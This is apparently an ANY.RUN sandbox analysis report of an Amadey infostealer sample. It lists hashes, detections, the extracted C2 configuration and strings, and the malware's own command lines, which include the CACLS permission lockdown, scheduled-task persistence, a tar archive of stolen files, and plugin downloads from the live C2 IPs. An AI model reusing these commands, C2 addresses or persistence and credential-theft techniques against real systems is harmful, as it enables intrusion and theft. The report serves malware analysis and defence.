File name:

_aa82b9c348f023063c6d83ca7f437f6374fc3d4ab039f253a0a56950a365446e.exe

Full analysis: https://app.any.run/tasks/4b92b98e-5d47-4f2f-ae8f-82337902acd2
Verdict: Malicious activity
Threats:

Amadey is a formidable Windows infostealer threat, characterized by its persistence mechanisms, modular design, and ability to execute various malicious tasks.

Malware Trends Tracker     >>>
Analysis date: July 24, 2025, 09:50:16
OS: Windows 10 Professional (build: 19044, 64 bit)
Tags:
auto-reg
amadey
botnet
stealer
loader
Indicators:
MIME: application/vnd.microsoft.portable-executable
File info: PE32 executable (GUI) Intel 80386, for MS Windows, 5 sections
MD5:

F7778FAB08EF250AE652AEF0F5333B6C

SHA1:

D9187036DDB060D7A300A44EF175E91026A796F7

SHA256:

AA82B9C348F023063C6D83CA7F437F6374FC3D4AB039F253A0A56950A365446E

SSDEEP:

6144:11PP7fgY4nalavzzPzg5xC/TkGVphuXjnlJA/9sfzzQuU9I+BuHiEsZ9znbJZ0Sh:DzfgYfKrg7eYGPhuXg+zu9IOZbZ2

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Changes the autorun value in the registry

      • fdx3r.exe (PID: 4476)

    • Uses Task Scheduler to run other applications

      • fdx3r.exe (PID: 4476)

    • Connects to the CnC server

      • fdx3r.exe (PID: 4476)

    • AMADEY has been detected (YARA)

      • fdx3r.exe (PID: 4476)

    • AMADEY has been detected (SURICATA)

      • fdx3r.exe (PID: 4476)

    • Actions looks like stealing of personal data

      • rundll32.exe (PID: 6664)

    • Steals credentials from Web Browsers

      • rundll32.exe (PID: 6664)

  • SUSPICIOUS

    • Executable content was dropped or overwritten

      • _aa82b9c348f023063c6d83ca7f437f6374fc3d4ab039f253a0a56950a365446e.exe (PID: 3976)
      • fdx3r.exe (PID: 4476)

    • Executes application which crashes

      • _aa82b9c348f023063c6d83ca7f437f6374fc3d4ab039f253a0a56950a365446e.exe (PID: 3976)
      • fdx3r.exe (PID: 4476)
      • fdx3r.exe (PID: 4168)
      • fdx3r.exe (PID: 3160)

    • Reads security settings of Internet Explorer

      • _aa82b9c348f023063c6d83ca7f437f6374fc3d4ab039f253a0a56950a365446e.exe (PID: 3976)
      • fdx3r.exe (PID: 4476)

    • Starts itself from another location

      • _aa82b9c348f023063c6d83ca7f437f6374fc3d4ab039f253a0a56950a365446e.exe (PID: 3976)

    • Starts CMD.EXE for commands execution

      • fdx3r.exe (PID: 4476)
      • cmd.exe (PID: 888)

    • Application launched itself

      • cmd.exe (PID: 888)

    • Uses ICACLS.EXE to modify access control lists

      • cmd.exe (PID: 888)

    • Connects to the server without a host name

      • fdx3r.exe (PID: 4476)
      • rundll32.exe (PID: 6664)

    • There is functionality for taking screenshot (YARA)

      • fdx3r.exe (PID: 4476)

    • Contacting a server suspected of hosting an CnC

      • fdx3r.exe (PID: 4476)

    • The process executes via Task Scheduler

      • fdx3r.exe (PID: 3160)
      • fdx3r.exe (PID: 4168)

    • Process requests binary or script from the Internet

      • fdx3r.exe (PID: 4476)

    • Potential Corporate Privacy Violation

      • fdx3r.exe (PID: 4476)

    • Loads DLL from Mozilla Firefox

      • rundll32.exe (PID: 6664)

    • Uses RUNDLL32.EXE to load library

      • rundll32.exe (PID: 4528)

  • INFO

    • Checks supported languages

      • _aa82b9c348f023063c6d83ca7f437f6374fc3d4ab039f253a0a56950a365446e.exe (PID: 3976)
      • fdx3r.exe (PID: 4476)
      • tar.exe (PID: 2120)
      • fdx3r.exe (PID: 4168)
      • fdx3r.exe (PID: 3160)

    • Creates files or folders in the user directory

      • WerFault.exe (PID: 2148)
      • WerFault.exe (PID: 5744)
      • WerFault.exe (PID: 5348)
      • WerFault.exe (PID: 6664)
      • WerFault.exe (PID: 3620)
      • WerFault.exe (PID: 4688)
      • WerFault.exe (PID: 2464)
      • WerFault.exe (PID: 7032)
      • WerFault.exe (PID: 1588)
      • WerFault.exe (PID: 3720)
      • WerFault.exe (PID: 6780)
      • WerFault.exe (PID: 1944)
      • WerFault.exe (PID: 6412)
      • WerFault.exe (PID: 5528)
      • WerFault.exe (PID: 4912)
      • WerFault.exe (PID: 1872)
      • WerFault.exe (PID: 4820)
      • WerFault.exe (PID: 2980)
      • WerFault.exe (PID: 4084)
      • WerFault.exe (PID: 4544)
      • WerFault.exe (PID: 1204)
      • WerFault.exe (PID: 2692)
      • WerFault.exe (PID: 1380)
      • WerFault.exe (PID: 5848)
      • WerFault.exe (PID: 2348)
      • fdx3r.exe (PID: 4476)
      • WerFault.exe (PID: 6656)
      • WerFault.exe (PID: 6180)
      • WerFault.exe (PID: 5528)
      • WerFault.exe (PID: 504)
      • WerFault.exe (PID: 3100)

    • Reads the computer name

      • _aa82b9c348f023063c6d83ca7f437f6374fc3d4ab039f253a0a56950a365446e.exe (PID: 3976)
      • fdx3r.exe (PID: 4476)

    • Create files in a temporary directory

      • _aa82b9c348f023063c6d83ca7f437f6374fc3d4ab039f253a0a56950a365446e.exe (PID: 3976)
      • fdx3r.exe (PID: 4476)
      • tar.exe (PID: 2120)

    • Process checks computer location settings

      • _aa82b9c348f023063c6d83ca7f437f6374fc3d4ab039f253a0a56950a365446e.exe (PID: 3976)
      • fdx3r.exe (PID: 4476)

    • Launching a file from a Registry key

      • fdx3r.exe (PID: 4476)

    • Checks proxy server information

      • WerFault.exe (PID: 3620)
      • fdx3r.exe (PID: 4476)
      • rundll32.exe (PID: 6664)
      • WerFault.exe (PID: 3100)
      • slui.exe (PID: 5824)
      • WerFault.exe (PID: 2348)

    • Reads the software policy settings

      • WerFault.exe (PID: 3620)
      • WerFault.exe (PID: 2348)
      • WerFault.exe (PID: 3100)
      • slui.exe (PID: 5824)

    • Reads security settings of Internet Explorer

      • rundll32.exe (PID: 6664)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report

Amadey

(PID) Process(4476) fdx3r.exe
C2 (1)http://212.118.43.106
Version3.67
Options
Drop directory416acdeed8
Drop nameknuus.exe
Strings (116)SCHTASKS
/Create /SC MINUTE /MO 1 /TN
/TR "
" /F
SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
Startup
Rem
cmd /C RMDIR /s/q
SOFTWARE\Microsoft\Windows\CurrentVersion\Run
rundll32
/Delete /TN "
Programs
SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
%USERPROFILE%
\App
POST
GET
id=
&vs=
&sd=
&os=
&bi=
&ar=
&pc=
&un=
&dm=
&av=
&lv=
&og=
cred.dll|clip.dll|
d1
e1
e0
Main
http://
https://
exe
dll
cmd
ps1
<c>
<d>
Plugins/
+++
#
|
&unit=
=
shell32.dll
kernel32.dll
GetNativeSystemInfo
ProgramData\
AVAST Software
Avira
Kaspersky Lab
ESET
Panda Security
Doctor Web
AVG
360TotalSecurity
Bitdefender
Norton
Sophos
Comodo
WinDefender
0123456789
rb
wb
Content-Type: multipart/form-data; boundary=----
------
Content-Disposition: form-data; name="data"; filename="
" Content-Type: application/octet-stream
------
--
?scr=1
.jpg
Content-Type: application/x-www-form-urlencoded
SYSTEM\CurrentControlSet\Control\ComputerName\ComputerName
ComputerName
abcdefghijklmnopqrstuvwxyz0123456789-_
-unicode-
SYSTEM\CurrentControlSet\Control\UnitedVideo\CONTROL\VIDEO\
SYSTEM\ControlSet001\Services\BasicDisplay\Video
VideoID
\0000
DefaultSettings.XResolution
DefaultSettings.YResolution
SOFTWARE\Microsoft\Windows NT\CurrentVersion
ProductName
2019
2022
2016
CurrentBuild
&&
echo Y|CACLS "
" /P "
:N"
CACLS "
" /P "
:R" /E
:F" /E
&&Exit
..\
\
:::
rundll32.exe
/k
"taskkill /f /im "
" && timeout 1 && del
&& Exit"
" && ren
&&
Powershell.exe
-executionpolicy remotesigned -File "
"
No Malware configuration.

TRiD

.exe | Win64 Executable (generic) (76.4)
.exe | Win32 Executable (generic) (12.4)
.exe | Generic Win/DOS Executable (5.5)
.exe | DOS Executable Generic (5.5)

EXIF

EXE

MachineType: Intel 386 or later, and compatibles
TimeStamp: 2022:05:06 19:26:14+00:00
ImageFileCharacteristics: Executable, 32-bit
PEType: PE32
LinkerVersion: 9
CodeSize: 97792
InitializedDataSize: 41594880
UninitializedDataSize: -
EntryPoint: 0x27c5000
OSVersion: 5
ImageVersion: -
SubsystemVersion: 5
Subsystem: Windows GUI
FileVersionNumber: 10.0.0.0
ProductVersionNumber: 84.0.0.0
FileFlagsMask: 0x192a
FileFlags: (none)
FileOS: Unknown (0x20461)
ObjectFileType: Unknown
FileSubtype: -
LanguageCode: Dutch
CharacterSet: Unknown (01F4)
FilesVersion: 93.84.7.37
InternalNames: HlameProduction
ProductName: HyperV
No data.
screenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
210
Monitored processes
49
Malicious processes
4
Suspicious processes
1

Behavior graph

Click at the process to see the details
start _aa82b9c348f023063c6d83ca7f437f6374fc3d4ab039f253a0a56950a365446e.exe werfault.exe no specs werfault.exe no specs werfault.exe no specs werfault.exe no specs werfault.exe no specs werfault.exe no specs #AMADEY fdx3r.exe werfault.exe werfault.exe no specs werfault.exe no specs werfault.exe no specs werfault.exe no specs werfault.exe no specs werfault.exe no specs werfault.exe no specs schtasks.exe no specs conhost.exe no specs werfault.exe no specs werfault.exe no specs cmd.exe no specs conhost.exe no specs cmd.exe no specs werfault.exe no specs cacls.exe no specs cacls.exe no specs cmd.exe no specs cacls.exe no specs cacls.exe no specs werfault.exe no specs werfault.exe no specs werfault.exe no specs werfault.exe no specs werfault.exe no specs werfault.exe no specs werfault.exe no specs fdx3r.exe werfault.exe werfault.exe no specs slui.exe werfault.exe no specs rundll32.exe no specs rundll32.exe werfault.exe no specs tar.exe no specs conhost.exe no specs fdx3r.exe werfault.exe werfault.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
504C:\WINDOWS\SysWOW64\WerFault.exe -u -p 4476 -s 1456C:\Windows\SysWOW64\WerFault.exe—fdx3r.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Problem Reporting
Exit code:
0
Version:
10.0.19041.3996 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\werfault.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\msvcrt.dll
c:\windows\syswow64\combase.dll
888"C:\Windows\System32\cmd.exe" /k echo Y|CACLS "fdx3r.exe" /P "admin:N"&&CACLS "fdx3r.exe" /P "admin:R" /E&&echo Y|CACLS "..\iqsyocyocw" /P "admin:N"&&CACLS "..\iqsyocyocw" /P "admin:R" /E&&ExitC:\Windows\SysWOW64\cmd.exe—fdx3r.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
10.0.19041.3636 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
c:\windows\syswow64\msvcrt.dll
1148CACLS "fdx3r.exe" /P "admin:N"C:\Windows\SysWOW64\cacls.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Control ACLs Program
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\cacls.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
c:\windows\syswow64\msvcrt.dll
1204C:\WINDOWS\SysWOW64\WerFault.exe -u -p 4476 -s 944C:\Windows\SysWOW64\WerFault.exe—fdx3r.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Problem Reporting
Exit code:
0
Version:
10.0.19041.3996 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\werfault.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\msvcrt.dll
c:\windows\syswow64\combase.dll
1380C:\WINDOWS\SysWOW64\WerFault.exe -u -p 4476 -s 600C:\Windows\SysWOW64\WerFault.exe—fdx3r.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Problem Reporting
Exit code:
0
Version:
10.0.19041.3996 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\werfault.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\msvcrt.dll
c:\windows\syswow64\combase.dll
1588C:\WINDOWS\SysWOW64\WerFault.exe -u -p 3976 -s 904C:\Windows\SysWOW64\WerFault.exe—_aa82b9c348f023063c6d83ca7f437f6374fc3d4ab039f253a0a56950a365446e.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Problem Reporting
Exit code:
0
Version:
10.0.19041.3996 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\werfault.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\msvcrt.dll
c:\windows\syswow64\combase.dll
1636CACLS "..\iqsyocyocw" /P "admin:N"C:\Windows\SysWOW64\cacls.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Control ACLs Program
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\cacls.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
c:\windows\syswow64\msvcrt.dll
1872C:\WINDOWS\SysWOW64\WerFault.exe -u -p 4476 -s 616C:\Windows\SysWOW64\WerFault.exe—fdx3r.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Problem Reporting
Exit code:
0
Version:
10.0.19041.3996 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\werfault.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\msvcrt.dll
c:\windows\syswow64\combase.dll
1944C:\WINDOWS\SysWOW64\WerFault.exe -u -p 4476 -s 760C:\Windows\SysWOW64\WerFault.exe—fdx3r.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Problem Reporting
Exit code:
0
Version:
10.0.19041.3996 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\werfault.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\msvcrt.dll
c:\windows\syswow64\combase.dll
2120tar.exe -cf "C:\Users\admin\AppData\Local\Temp\693682860607_Desktop.tar" "C:\Users\admin\AppData\Local\Temp\_Files_\*.*"C:\Windows\System32\tar.exe—rundll32.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
bsdtar archive tool
Exit code:
0
Version:
3.5.2 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\tar.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\archiveint.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\cryptsp.dll
c:\windows\system32\kernel.appcore.dll
c:\windows\system32\msvcrt.dll
Total events
67 544
Read events
67 537
Write events
7
Delete events
0

Modification events

(PID) Process:(4476) fdx3r.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
Operation:writeName:Startup
Value:
C:\Users\admin\AppData\Local\Temp\iqsyocyocw\
(PID) Process:(4476) fdx3r.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content
Operation:writeName:CachePrefix
Value:
(PID) Process:(4476) fdx3r.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies
Operation:writeName:CachePrefix
Value:
Cookie:
(PID) Process:(4476) fdx3r.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History
Operation:writeName:CachePrefix
Value:
Visited:
(PID) Process:(6664) rundll32.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content
Operation:writeName:CachePrefix
Value:
(PID) Process:(6664) rundll32.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies
Operation:writeName:CachePrefix
Value:
Cookie:
(PID) Process:(6664) rundll32.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History
Operation:writeName:CachePrefix
Value:
Visited:
Executable files
3
Suspicious files
0
Text files
62
Unknown types
59

Dropped files

PID
Process
Filename
Type
2148WerFault.exeC:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash__aa82b9c348f0230_29935e437b7cdcb28ff4546e4449446a7f93e76_21053545_b2d58fc3-e3a6-4b34-a541-fd41936b4559\Report.wer —
MD5:—
SHA256:—
5744WerFault.exeC:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash__aa82b9c348f0230_29935e437b7cdcb28ff4546e4449446a7f93e76_21053545_e4522a71-373e-4d2f-9f8b-3f6456c2df8b\Report.wer —
MD5:—
SHA256:—
5348WerFault.exeC:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash__aa82b9c348f0230_29935e437b7cdcb28ff4546e4449446a7f93e76_21053545_d9adeea4-240c-4892-8009-63968dfc40a5\Report.wer —
MD5:—
SHA256:—
6664WerFault.exeC:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash__aa82b9c348f0230_29935e437b7cdcb28ff4546e4449446a7f93e76_21053545_89830bf1-2fd9-49c7-a899-30d8dd991616\Report.wer —
MD5:—
SHA256:—
5744WerFault.exeC:\ProgramData\Microsoft\Windows\WER\Temp\WERE4CE.tmp.WERInternalMetadata.xmlxml
MD5:84785E452A89E1363C09384CE7BE3A72
SHA256:AC275537F84BFD5408AE2CBEE5DE9944A538CD03CACF27A896767A1901F3FBCB
1588WerFault.exeC:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash__aa82b9c348f0230_29935e437b7cdcb28ff4546e4449446a7f93e76_21053545_75f276a2-7dd7-40d0-a959-39f8d7c1bec1\Report.wer —
MD5:—
SHA256:—
5348WerFault.exeC:\ProgramData\Microsoft\Windows\WER\Temp\WERE73F.tmp.WERInternalMetadata.xmlxml
MD5:801E3AC7FDA10ABB4C7B7FD8F0D34001
SHA256:9D9C748329735285CB7C38A843D70B1BA9751D7130FBB93AE7772CFFDEB72D1E
3976_aa82b9c348f023063c6d83ca7f437f6374fc3d4ab039f253a0a56950a365446e.exeC:\Users\admin\AppData\Local\Temp\iqsyocyocw\fdx3r.exeexecutable
MD5:F7778FAB08EF250AE652AEF0F5333B6C
SHA256:AA82B9C348F023063C6D83CA7F437F6374FC3D4AB039F253A0A56950A365446E
2148WerFault.exeC:\ProgramData\Microsoft\Windows\WER\Temp\WERE2AC.tmp.xmlxml
MD5:AD66FDD082349DEC91AC2DF95CDA19B5
SHA256:FF53843BC719BD873DD7A6B91D8DAD192A3DDA49E9833468E1124B4A599199CF
5744WerFault.exeC:\ProgramData\Microsoft\Windows\WER\Temp\WERE47F.tmp.dmpdmp
MD5:8FF476732C204C832503675719C00584
SHA256:0E3B9A722054DDF4B5A69BB0AFC879D6D43CE72DD1BB11E66238D69B46EA1F81
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
12
TCP/UDP connections
28
DNS requests
11
Threats
11

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
5944
MoUsoCoreWorker.exe
GET
200
23.216.77.39:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
—
—
whitelisted
6584
RUXIMICS.exe
GET
200
23.216.77.39:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
—
—
whitelisted
5944
MoUsoCoreWorker.exe
GET
200
95.101.149.131:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
—
—
whitelisted
6584
RUXIMICS.exe
GET
200
95.101.149.131:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
—
—
whitelisted
4476
fdx3r.exe
POST
200
196.251.81.176:80
http://196.251.81.176/dF30Hn4m/index.php?scr=1
unknown
—
—
malicious
4476
fdx3r.exe
POST
200
196.251.81.176:80
http://196.251.81.176/dF30Hn4m/index.php
unknown
—
—
malicious
4476
fdx3r.exe
GET
200
196.251.81.176:80
http://196.251.81.176/dF30Hn4m/Plugins/cred64.dll
unknown
—
—
malicious
—
—
POST
500
20.83.72.98:443
https://activation-v2.sls.microsoft.com/SLActivateProduct/SLActivateProduct.asmx?configextension=Retail
unknown
xml
512 b
whitelisted
4476
fdx3r.exe
GET
404
196.251.81.176:80
http://196.251.81.176/dF30Hn4m/Plugins/clip64.dll
unknown
—
—
malicious
2940
svchost.exe
GET
200
72.246.169.163:80
http://x1.c.lencr.org/
unknown
—
—
whitelisted
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
4
System
192.168.100.255:137
—
—
—
whitelisted
5944
MoUsoCoreWorker.exe
40.127.240.158:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
—
—
40.127.240.158:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
6584
RUXIMICS.exe
40.127.240.158:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
4
System
192.168.100.255:138
—
—
—
whitelisted
1268
svchost.exe
51.124.78.146:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
3620
WerFault.exe
135.233.45.223:443
watson.events.data.microsoft.com
LUCENT-CIO
US
whitelisted
5944
MoUsoCoreWorker.exe
23.216.77.39:80
crl.microsoft.com
Akamai International B.V.
DE
whitelisted
6584
RUXIMICS.exe
23.216.77.39:80
crl.microsoft.com
Akamai International B.V.
DE
whitelisted
5944
MoUsoCoreWorker.exe
95.101.149.131:80
www.microsoft.com
Akamai International B.V.
NL
whitelisted

DNS requests

Domain
IP
Reputation
settings-win.data.microsoft.com
  • 40.127.240.158
  • 51.124.78.146
whitelisted
google.com
  • 142.250.185.110
whitelisted
watson.events.data.microsoft.com
  • 135.233.45.223
  • 13.89.179.12
whitelisted
crl.microsoft.com
  • 23.216.77.39
  • 23.216.77.7
  • 23.216.77.43
  • 23.216.77.27
  • 23.216.77.25
  • 23.216.77.11
  • 23.216.77.8
  • 23.216.77.41
  • 23.216.77.13
whitelisted
www.microsoft.com
  • 95.101.149.131
whitelisted
self.events.data.microsoft.com
  • 20.189.173.9
whitelisted
activation-v2.sls.microsoft.com
  • 40.91.76.224
whitelisted
x1.c.lencr.org
  • 72.246.169.163
whitelisted

Threats

PID
Process
Class
Message
4476
fdx3r.exe
Misc Attack
ET DROP Spamhaus DROP Listed Traffic Inbound group 44
4476
fdx3r.exe
A Network Trojan was detected
ET MALWARE Amadey Bot Activity (POST) M1
4476
fdx3r.exe
Misc activity
SUSPICIOUS [ANY.RUN] Sent Host Name in HTTP POST Body
4476
fdx3r.exe
Malware Command and Control Activity Detected
ET MALWARE Amadey CnC Check-In
4476
fdx3r.exe
A Network Trojan was detected
ET MALWARE Win32/Amadey Bot Activity (POST) M2
4476
fdx3r.exe
Potentially Bad Traffic
ET INFO Dotted Quad Host DLL Request
4476
fdx3r.exe
Potential Corporate Privacy Violation
ET INFO PE EXE or DLL Windows file download HTTP
4476
fdx3r.exe
A Network Trojan was detected
BOTNET [ANY.RUN] Amadey Stealer plugin download request
4476
fdx3r.exe
Potentially Bad Traffic
ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download
4476
fdx3r.exe
Potentially Bad Traffic
ET INFO Dotted Quad Host DLL Request
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2025 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
_aa82b9c348f023063c6d83ca7f437f6374fc3d4ab039f253a0a56950a365446e.exe